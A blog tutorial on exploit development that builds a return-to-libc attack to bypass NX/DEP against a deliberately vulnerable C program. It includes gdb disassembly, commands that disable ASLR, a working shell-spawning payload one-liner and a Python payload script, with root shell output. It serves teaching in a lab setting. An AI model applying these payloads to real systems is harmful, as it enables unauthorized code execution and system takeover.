Exploit Development: Stack Buffer Overflow – Bypass NX/DEP

In my previous blog post, I covered the development of a buffer overflow exploit for a simple vulnerable program with overflow protections disabled. In this post, I will demonstrate bypassing DEP/NX using return oriented programming.
I’ll use the same vulnerable code as in my previous blog post.

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
 char buffer[20];
 strcpy(buffer, argv[1]);
 return 0;
root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector

However this time, we will enable DEP/NX using execstack. If you’re compiling a fresh executable, it will already have DEP enabled but be sure to compile with the -fno-stack-protector option as this does not bypass stack canaries.

root@kali:~# execstack -c ./vulnerable
root@kali:~# execstack -q ./vulnerable - ./vulnerable

We will still need ASLR disabled as the following attacks do not bypass ASLR.

root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space

Return-to-libc Attack(ret2libc)

The vulnerable program uses only two functions from the included libraries, printf and strcpy. However, the entire stdio and string libraries are still linked and loaded into memory every time the program is executed. This would allow a buffer overflow exploit to potentially redirect flow to a function contained in the linked libraries which can be taken advantage of to execute malicious code. One such function is system() which can be used to run system commands by overwriting the call stack of the program and replacing the return address of the stored on the stack by the strcpy function with the address of the system function. The system function however expects the stack to have the argument for the function at the top followed by a return address for the system function. Before the function strcpy returns, the top of the stack looks like this.

<arguments to main>            - 4 bytes
<return address of main>       - 4 bytes
<ebp stored by main>           - 4 bytes
<buffer>                       - 28 bytes
<address of buffer>            - 4 bytes

By overflowing the buffer, we can redirect the strcpy return address to point to the system function in memory and add extra elements on top of the stack to use as an argument and a return address for the system function. This would lead to the stack looking like this.

<argument to system>          - 4 bytes
<return address for system>   - 4 bytes
<address of system>           - 4 bytes
<overwritten stored ebp>      - 4 bytes
<buffer>                      - 28 bytes
<address of buffer>           - 4 bytes

As we can see, by sending a buffer of appropriate size, we can overwrite the stored memory locations in front of it and execute arbitrary code after the main function returns.
This can be achieved by finding the size of the buffer in the stack and then overwriting the appropriate positions on the stack. I used gdb for this as it has a few more helpful features as compared to edb.

root@kali:~# gdb -q ./vulnerable
Reading symbols from /root/vulnerable...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
 0x0804844c <+0>: push %ebp
 0x0804844d <+1>: mov %esp,%ebp
 0x0804844f <+3>: and $0xfffffff0,%esp
 0x08048452 <+6>: sub $0x30,%esp
 0x08048455 <+9>: mov 0xc(%ebp),%eax
 0x08048458 <+12>: add $0x4,%eax
 0x0804845b <+15>: mov (%eax),%eax
 0x0804845d <+17>: mov %eax,0x4(%esp)
 0x08048461 <+21>: lea 0x1c(%esp),%eax
 0x08048465 <+25>: mov %eax,(%esp)
 0x08048468 <+28>: call 0x8048320 <strcpy@plt>
 0x0804846d <+33>: lea 0x1c(%esp),%eax
 0x08048471 <+37>: mov %eax,(%esp)
 0x08048474 <+40>: call 0x8048330 <puts@plt>
 0x08048479 <+45>: mov $0x0,%eax
 0x0804847e <+50>: leave
 0x0804847f <+51>: ret
End of assembler dump.

At 0x08048468 the strcpy function is called and in the next instruction, the esp is moved by 0x1c characters to load a pointer into eax which indicates that our buffer is 0x1c or 28 bytes long. Now we need to find the memory address of the system function and something to pass as an argument to it. The C library in fact contains the string “/bin/sh” which we can use to drop to a shell in the program by using it as an argument for system().

(gdb) break main
Breakpoint 1 at 0x804844f
(gdb) run
Starting program: /root/vulnerable
Breakpoint 1, 0x0804844f in main ()
(gdb) print system
$1 = {} 0xb7eab6b0
(gdb) find &system, +99999999, "/bin/sh"
warning: Unable to access target memory at 0xb7fbd6fc, halting search.
1 pattern found.

Now that we have our address for system() and for “/bin/bash” we can make a new exploit which bypasses DEP and gives us a shell.

root@kali:~# ./vulnerable $(python -c 'print "A"*32 + "\xb0\xb6\xea\xb7" + "A"*4 + "\x74\xa4\xf9\xb7"')
# id
uid=0(root) gid=0(root) groups=0(root),27(sudo)
# uname -a
Linux kali 3.18.0-kali3-586 #1 Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux

We can write the above payload in a more understandable form as a python script as well.

from struct import pack
buffer = ""
offset = "A"*32
binsh = pack("<L",0xb7f9a474)
sys = pack("<L", 0xb7eab6b0)
buffer += offset
buffer += sys
buffer += "A"*4
buffer += binsh
print buffer

And on exploiting our vulnerable program, we get a shell.

root@kali:~# ./vulnerable $(python vulnerablerop.py)
# id
uid=0(root) gid=0(root) groups=0(root),27(sudo)
# uname -a
Linux kali 3.18.0-kali3-586 #1 Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux

In cases where exploitation is not as straightforward such as the absence of the string “/bin/sh” from memory, we need to use ROP gadgets to create and store the string in an accessible memory location. A ROP gadget is simply a set of assembly language instructions followed by a return command which are already loaded in memory as a part of the program. These gadgets provide specific functions which we can chain together to execute arbitrary code. ROP is in fact Turing complete and can be used to simulate any code. You can find a basic ROP primer by bas here more in-depth ROP tutorials by Corelan Team here or by b33f here.